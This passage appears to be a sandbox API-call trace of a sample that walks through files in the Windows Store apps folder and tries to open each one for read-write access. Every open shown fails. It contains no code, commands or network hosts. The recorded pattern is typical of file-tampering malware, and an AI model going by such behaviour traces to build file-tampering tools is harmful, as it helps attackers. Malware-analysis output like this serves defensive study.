0x6fe3bb0 [0241.409] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Emboss.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\emboss.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.415] Sleep (dwMilliseconds=0x1) [0243.055] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultFromToCurrency.json", len=0x78 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultFromToCurrency.json") returned 1 [0243.055] GetProcessHeap () returned 0x630000 [0243.055] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5480) returned 0x6fe3bb0 [0243.055] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultFromToCurrency.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\defaultfromtocurrency.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.057] Sleep (dwMilliseconds=0x1) [0243.064] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.png", len=0x6d | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.png") returned 1 [0243.064] GetProcessHeap () returned 0x630000 [0243.064] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x546c) returned 0x6fe3bb0 [0243.065] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\storelogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.071] Sleep (dwMilliseconds=0x1) [0243.086] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.targetsize-256.png", len=0x91 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.targetsize-256.png") returned 1 [0243.086] GetProcessHeap () returned 0x630000 [0243.086] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5420) returned 0x6fe3bb0 [0243.086] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\money_logosmall.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.086] Sleep (dwMilliseconds=0x1) [0243.105] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\storelogo.scale-100.png", len=0x71 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\storelogo.scale-100.png") returned 1 [0243.105] GetProcessHeap () returned 0x630000 [0243.106] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53dc) returned 0x6fe3bb0 [0243.106] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\storelogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\storelogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.120] Sleep (dwMilliseconds=0x1) [0243.143] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\logo.png", len=0x5f | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\logo.png") returned 1 [0243.144] GetProcessHeap () returned 0x630000 [0243.144] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x537c) returned 0x6fe3bb0 [0243.144] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\logo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.157] Sleep (dwMilliseconds=0x1) [0243.160] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", len=0x75 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned 1 [0243.160] GetProcessHeap () returned 0x630000 [0243.160] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x534c) returned 0x6fe3bb0 [0243.160] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.169] Sleep (dwMilliseconds=0x1) [0243.182] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Selected_Medium.png", len=0x7c | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Selected_Medium.png") returned 1 [0243.182] GetProcessHeap () returned 0x630000 [0243.182] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52f0) returned 0x6fe3bb0 [0243.182] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Selected_Medium.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\density_selected_medium.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.184] Sleep (dwMilliseconds=0x1) [0243.199] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-256_altform-unplated.png", len=0xa9 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-256_altform-unplated.png") returned 1 [0243.199] GetProcessHeap () returned 0x630000 [0243.199] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52b8) returned 0x6fe3bb0 [0243.199] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-256_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\square44x44logo.targetsize-256_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.214] Sleep (dwMilliseconds=0x1) [0243.243] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square310x150Logo.scale-100.png", len=0x95 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square310x150Logo.scale-100.png") returned 1 [0243.243] GetProcessHeap () returned 0x630000 [0243.243] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x524c) returned 0x6fe3bb0 [0243.243] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square310x150Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\square310x150logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.244] Sleep (dwMilliseconds=0x1) [0243.265] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\text_icon.png", len=0x73 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\text_icon.png") returned 1 [0243.265] GetProcessHeap () returned 0x630000 [0243.265] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51f0) returned 0x6fe3bb0 [0243.265] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\text_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\text_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.270] Sleep (dwMilliseconds=0x1) [0243.292] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Lightning bolt_icon.png", len=0x7d | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Lightning bolt_icon.png") returned 1 [0243.292] GetProcessHeap () returned 0x630000 [0243.292] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51a0) returned 0x6fe3bb0 [0243.292] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Lightning bolt_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\lightning bolt_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.299] Sleep (dwMilliseconds=0x1) [0244.254] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileMediumSquare.scale-100.png", len=0x80 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileMediumSquare.scale-100.png") returned 1 [0244.254] GetProcessHeap () returned 0x630000 [0244.254] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f5c) returned 0x6fe3bb0 [0244.255] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileMediumSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\news_tilemediumsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.256] Sleep (dwMilliseconds=0x1) [0244.269] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_SplashScreen.scale-100.png", len=0x8b | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_SplashScreen.scale-100.png") returned 1 [0244.269] GetProcessHeap () returned 0x630000 [0244.269] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f28) returned 0x6fe3bb0 [0244.270] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\news_splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.271] Sleep (dwMilliseconds=0x1) [0244.279] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_TileSmallSquare.scale-100.png", len=0x8e | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_TileSmallSquare.scale-100.png") returned 1 [0244.279] GetProcessHeap () returned 0x630000 [0244.279] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f0c) returned 0x6fe3bb0 [0244.279] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_TileSmallSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\news_tilesmallsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.280] Sleep (dwMilliseconds=0x1) [0244.299] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", len=0x6b | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned 1 [0244.299] GetProcessHeap () returned 0x630000 [0244.299] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ee0) returned 0x6fe3bb0 [0244.299] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.303] Sleep (dwMilliseconds=0x1) [0246.343] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_TileWide.scale-100.png", len=0x8b | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_TileWide.scale-100.png") returned 1 [0246.343] GetProcessHeap () returned 0x630000 [0246.343] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eb4) returned 0x6fe3bb0 [0246.343] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_TileWide.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\sports_tilewide.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.346] Sleep (dwMilliseconds=0x1) [0246.357] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.targetsize-256.png", len=0x91 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.targetsize-256.png") returned 1 [0246.357] GetProcessHeap () returned 0x630000 [0246.357] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e98) returned 0x6fe3bb0 [0246.357] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\sports_logosmall.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.362] Sleep (dwMilliseconds=0x1) [0246.370] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.targetsize-24.png", len=0x90 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.targetsize-24.png") returned 1 [0246.370] GetProcessHeap () returned 0x630000 [0246.370] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e94) returned 0x6fe3bb0 [0246.371] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\sports_logosmall.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.372] Sleep (dwMilliseconds=0x1) [0246.396] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml", len=0x63 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml") returned 1 [0246.396] GetProcessHeap () returned 0x630000 [0246.396] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e78) returned 0x6fe3bb0 [0246.396] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appconfiguration.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.396] Sleep (dwMilliseconds=0x1) [0246.402] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", len=0x77 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned 1 [0246.402] GetProcessHeap () returned 0x630000 [0246.402] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e70) returned 0x6fe3bb0 [0246.403] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.403] Sleep (dwMilliseconds=0x1) [0246.419] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js", len=0x65 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js") returned 1 [0246.419] GetProcessHeap () returned 0x630000 [0246.419] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e58) returned 0x6fe3bb0 [0246.419] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\ormma.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.420] Sleep (dwMilliseconds=0x1) [0246.433] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js", len=0x69 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js") returned 1 [0246.433] GetProcessHeap () returned 0x630000 [0246.433] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e54) returned 0x6fe3bb0 [0246.433] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\bootstrap.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.433] Sleep (dwMilliseconds=0x1) [0246.485] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\Health.xml", len=0x90 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\Health.xml") returned 1 [0246.485] GetProcessHeap () returned 0x630000 [0246.485] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e38) returned 0x6fe3bb0 [0246.485] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\Health.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\health\\health.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.486] Sleep (dwMilliseconds=0x1) [0246.496] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\Finance.xml", len=0x92 | out: pbstr=0x54bff7c*="C:\\Program 